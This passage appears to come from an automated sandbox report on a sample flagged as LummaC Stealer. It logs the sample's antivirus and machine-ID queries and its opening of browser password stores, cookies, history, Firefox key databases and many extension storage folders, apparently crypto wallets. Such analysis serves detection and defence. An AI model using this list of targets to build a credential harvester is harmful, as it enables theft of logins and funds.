      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comQueries volume information: C:\ VolumeInformation
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

      Stealing of Sensitive Information

      barindex
      Yara detected LummaC Stealer
      Source: Yara matchFile source: sslproxydump.pcap, type: PCAP
      Tries to harvest and steal browser information (history, passwords, etc)
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
